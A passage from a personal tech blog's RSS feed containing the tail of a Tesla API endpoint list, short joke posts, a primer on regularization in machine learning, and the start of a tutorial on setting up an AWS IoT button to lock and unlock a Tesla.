&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/live_status&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_CONFIG&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/site_info&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;HISTORY_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/history&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BACKUP_RESERVE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/backup&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_NAME&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/site_name&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;OPERATION_MODE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/operation&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TIME_OF_USE_SETTINGS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/time_of_use_settings&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;STORM_MODE_SETTINGS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/storm_mode&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_NOTIFICATION_CONFIRMATION&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/notification_confirmations&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;NAVIGATION_REQUEST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/navigation_request&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Atom</title>
      <link>/post/2018/09/atom-2/</link>
      <pubDate>Sun, 30 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/atom-2/</guid>
      <description>&lt;p&gt;Never trust an atom, they make up everything. 🤓&lt;/p&gt;
&lt;p&gt;#GeekyJokes&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>#ML concepts - Regularization, a primer</title>
      <link>/post/2018/09/ml-concepts-regularization-a-primer/</link>
      <pubDate>Sat, 29 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/ml-concepts-regularization-a-primer/</guid>
      <description>&lt;p&gt;Regularization is a fundamental concept in Machine Learning (#ML) and is generally used with &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/06/12/neural-network-basics-activation-functions/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		activation functions
	&lt;/span&gt;
&lt;/a&gt;. It is the key technique that help with overfitting.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Overfitting&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Overfitting
	&lt;/span&gt;
&lt;/a&gt; is when an algorithm or model &amp;lsquo;fits&amp;rsquo; the training data too well - it seems to good to be true. Essentially overfitting is when a model being trained, learns the noise in the data instead of ignoring it. If we allow overfitting, then the network only uses (or is more heavily influenced) by a subset of the input (the larger peaks), and doesn&amp;rsquo;t factor in all the input. &lt;/p&gt;
&lt;p&gt;The worry there being that outside of the training data, it might not work as well for &amp;lsquo;real world&amp;rsquo; data. For example the model represented by the green line in the image below (credit: Wikipedia), follows the sample data too closely and seems too good. On the other hand, the model represented by the black line, which is better.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/overfitting.png&#34; alt=&#34;Overfitting example&#34;/&gt;
        &lt;figcaption&gt;Overfitting&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Regularization helps with overfitting (artificially) penalizing the weights in the neural network. These weights are represented as peaks, and this reduces the peaks in the data. This ensure that the higher weights (peaks) don&amp;rsquo;t overshadow the rest of the data, and hence getting it to overfit. This diffusion of the weight vectors is sometimes also called weight decay.&lt;/p&gt;
&lt;p&gt;Although there are a few regularization techniques for preventing overfitting (outlined below), these days in Deep Learning, L1 and L2 regression techniques are more favored over the others. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Cross validation:&lt;/strong&gt; This is a method for finding the best hyper parameters for a model. E.g. in a gradient descent, this would be to figure out the stopping criteria. There are &lt;a
	
		href = &#34;http://www.cs.cmu.edu/~schneide/tut5/node42.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		various ways
	&lt;/span&gt;
&lt;/a&gt; to do this such as the holdout method, k-fold cross validation, leave-out cross validation, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Step-wise regression&lt;/strong&gt;: This method essentially is a serial step-by-step regression where one reduces the weakest variable. Step-wise regression essentially does multiple regression a number of times, each time removing the weakest correlated variable. At the end you are left with the variables that explain the distribution best. The only requirements are that the data is normally distributed, and that there is no correlation between the independent variables. &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;L1 regularization&lt;/strong&gt;: In this method, we modify the cost function by adding the &lt;strong&gt;sum of the absolute values&lt;/strong&gt; of the weights as the penalty (in the cost function).  In L1 regularization the weights shrinks by a constant amount towards zero. L1 regularization is also called &lt;em&gt;Lasso regression&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;L2 regularization&lt;/strong&gt;: In L2 regularization on the other hand, we re-scale the weight to a subset factor - it shrinks by an amount that is proportional to the weight (as outlined in the image below). This shrinking makes the weight smaller and is also sometimes called weight decay.  To get this shrinking proportional, we take a &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/Mean_squared_error&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;squared mean of the weights&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt;, instead of the sum.  At face value it might seem that the weight eventually get to zero, but that is not true; typically other terms cause the weights to increase. L2 regularization is also called &lt;em&gt;Ridge regression&lt;/em&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Max-norm&lt;/strong&gt;: This enforces a upper bound on the magnitude of the weight vector. The one area this helps is that a network cannot &amp;rsquo;explode&amp;rsquo; when the learning rates gets very high, as it is bounded.  This is also called projected gradient descent.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a
	
		href = &#34;http://www.cs.toronto.edu/~rsalakhu/papers/srivastava14a.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dropout
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;: Is very simple, and efficient and is used in conjunction with one of the previous techniques. Essentially it adds a probably on the neuron to keep it active, or &amp;lsquo;dropout&amp;rsquo; by setting it to zero. Dropout doesn&amp;rsquo;t modify the cost function; it modifies the network itself as shown in the image below.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Increase training data&lt;/strong&gt;: Whilst one can artificially expand the training set theoretically possible, in reality won&amp;rsquo;t work in most cases, especially in more complex networks. And in some cases one might think also to artificially expand the dataset, typically it is not cost effective to get a representative dataset.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/L1-regularization.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;L1 Regularization&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/L2-regularization.jpg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;L2 Regularization&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/dropout.jpeg&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Dropout&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Between L1 and L2 regularization, many say that L2 is preferred, but I think it depends on the problem statement. Say in a network, if a weight has a large magnitude, L2 regularization shrink the weight more than L1 and will better. Conversely, if the weight is small then L1 shrinks the weight more than L2 - and is better as it tends to concentrate the weight in fewer but more important connections in the network.&lt;/p&gt;
&lt;p&gt;In closing, the key aspect to appreciate - the small weights (peaks) in a regularized network essentially means that as our input changes randomly (i.e. noise), it doesn&amp;rsquo;t have a huge impact to the network and its output. So this makes it difficult for the network to learn the noise and respond to that. Conversely, in an unregularized networks, that has higher weights (peaks), small random changes to those weights can have a larger impact to the behavior of the network and the information it carries.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Is this why my machine might be slow?</title>
      <link>/post/2018/09/is-this-why-my-machine-might-be-slow/</link>
      <pubDate>Tue, 25 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/is-this-why-my-machine-might-be-slow/</guid>
      <description>&lt;p&gt;Wait. I have how many tabs open? I can’t count more than fingers I have, so not sure if this is accurate. Maybe time to reboot. 😄&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;PS – Yes, I can count using more than 10 (toes, remember?)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Setting up your own Model 3 &#34;keyfob&#34; - using a IoT Button</title>
      <link>/post/2018/09/setting-up-your-own-model-3-keyfob-using-a-iot-button/</link>
      <pubDate>Sun, 16 Sep 2018 00:00:00 +0000</pubDate>
      
      <guid>/post/2018/09/setting-up-your-own-model-3-keyfob-using-a-iot-button/</guid>
      <description>&lt;p&gt;Some time ago, I talked about my &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2018/08/06/my-tesla-model-3-keyfob/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Tesla Model 3 &amp;ldquo;keyfob&amp;rdquo;
	&lt;/span&gt;
&lt;/a&gt; which essentially uses a Amazon IoT button to call some of Tesla API&amp;rsquo;s and &amp;ldquo;talk&amp;rdquo; to the car. This for me, is cool as it allows my daughter to unlock, and lock the car at home. And of course it is a bit geeky, and allowing one to play with more things. :)&lt;/p&gt;
&lt;p&gt;Since publishing this, I was surprised how many of you ping me asking on details on how they can did this for themselves. Given the level of interest, I thought I will document this and outline the steps here. I do have to warn you, that this would be a little long - it entails getting a IoT Button configured, and then the code deployed. Before you get started, and if you aren&amp;rsquo;t techy, I would recommend to go through the post completely, so you get a sense of what is needed.&lt;/p&gt;
&lt;p&gt;At a high level, below are the steps that you need to go through to get this working. And this might seem cumbersome and a lot but it is not that difficult. Also if you prefer you can follow the official AWS documentation &lt;a
	
		href = &#34;https://docs.aws.amazon.com/iot/latest/developerguide/iot-console-signin.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		online here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a AWS Login (if you have a existing Amazon.com login, you can use the same one if you prefer)&lt;/li&gt;
&lt;li&gt;Order a IoT Button&lt;/li&gt;
&lt;li&gt;Register the IoT Button in the AWS Registry (this is done via the AWS console)&lt;/li&gt;
&lt;li&gt;Create (and activate) a device certificate&lt;/li&gt;
&lt;li&gt;Create a IoT security policy&lt;/li&gt;
&lt;li&gt;Attach the IoT security policy (from the previous step) to the device certificate created earlier&lt;/li&gt;
&lt;li&gt;Attach the IoT security policy (now with the associated certificate) to the IoT button&lt;/li&gt;
&lt;li&gt;Configure the IoT button&lt;/li&gt;
&lt;li&gt;Deploy some code - this is done via a server-less function (also called a Lambda function) - this is the code that gets executed&lt;/li&gt;
&lt;li&gt;Test and Deploy&lt;/li&gt;
&lt;li&gt;Enjoy the Fob! :)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;step-1---get-the-iot-button&#34;&gt;Step 1 - Get the IoT Button&lt;/h3&gt;
&lt;p&gt;Of course you need to get a IoT Button; I got the &lt;a
	
		href = &#34;http://a.co/d/j4ipLkW&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		AWS IoT Button (2nd Generation
	&lt;/span&gt;
&lt;/a&gt;) which is what I would recommend.&lt;/p&gt;
&lt;h3 id=&#34;step-2---login-to-aws-iot-console&#34;&gt;Step 2 - Login to AWS IoT Console&lt;/h3&gt;
&lt;p&gt;Open &lt;a
	
		href = &#34;https://aws.amazon.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		AWS home page
	&lt;/span&gt;
&lt;/a&gt; and login with your amazon.com credentials. Of course if you don&amp;rsquo;t have a Amazon.com account, then you want to click in sign up on the top right corner, to get this started.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/1-Login-to-AWS.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AWS Login&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;After I login, I see something similar to the screenshot below. Your exact view might differ a little.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/2-AWS-Services.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AWS Console&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I recommend to change the region to one closer to you. To do this, click on the region on the top right corner and choose a region that is physically closest to you. In the longer run this would help with latency issues between you clicking the button and the car responding. For example in my case, Oregon makes most sense.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/3-region.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AWS Region Selection&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Once you have a AWS account setup, login to the AWS &lt;a
	
		href = &#34;https://console.aws.amazon.com/iot/home&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		IoT console
	&lt;/span&gt;
&lt;/a&gt; or on the AWS page in the previous step, scroll down to IoT Core as shown in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/4-IoT-console.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;AWS Console&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-3---register-iot-button&#34;&gt;Step 3 - Register IoT Button&lt;/h3&gt;
&lt;p&gt;Next step would be to register your IoT button - which of course means you physically have the button with you. The best way to register is to &lt;a
	
		href = &#34;https://docs.aws.amazon.com/iot/latest/developerguide/register-device.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		follow the instructions here
	&lt;/span&gt;
&lt;/a&gt;. I don&amp;rsquo;t see much sense in trying to replicate that here.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you are not very technical, or comfortable, it might be best to use either the &amp;ldquo;AWS IoT Button Dev&amp;rdquo; app which is available both on the &lt;a
	
		href = &#34;https://itunes.apple.com/us/app/aws-iot-button/id1178216626?mt=8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Apple Store
	&lt;/span&gt;
&lt;/a&gt; (for iOS) and &lt;a
	
		href = &#34;https://play.google.com/store/apps/details?id=com.amazonaws.iotbutton&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Google play
	&lt;/span&gt;
&lt;/a&gt; (for Android).&lt;/p&gt;
&lt;p&gt;Once you have registered a button (it doesn’t matter what you call it) - it will show up similar to the screenshot below. I only have one device listed.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/5-Device-view.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;List of IoT things&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;h3 id=&#34;step-4---create-a-device-certificate&#34;&gt;Step 4 - Create a Device Certificate&lt;/h3&gt;
&lt;p&gt;Next, we need to create and activate a certificate for the device. Without this, the button won&amp;rsquo;t work. The certificate (which is a &lt;a
	
		href = &#34;https://en.wikipedia.org/wiki/X.509&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		X.509 certificate
	&lt;/span&gt;
&lt;/a&gt;) protects the communication between the button and AWS.&lt;/p&gt;
&lt;p&gt;For most people, the one-click certification creation that AWS has, is probably the way to go. To get to this, on the AWS IoT console, click on Secure and then choose Certificates on the left if not already selected as shown below. I already have a certificate that you can see in the screenshot below.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/6-certs.png&#34; alt=&#34;&#34;/&gt;
        &lt;figcaption&gt;Certificates&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
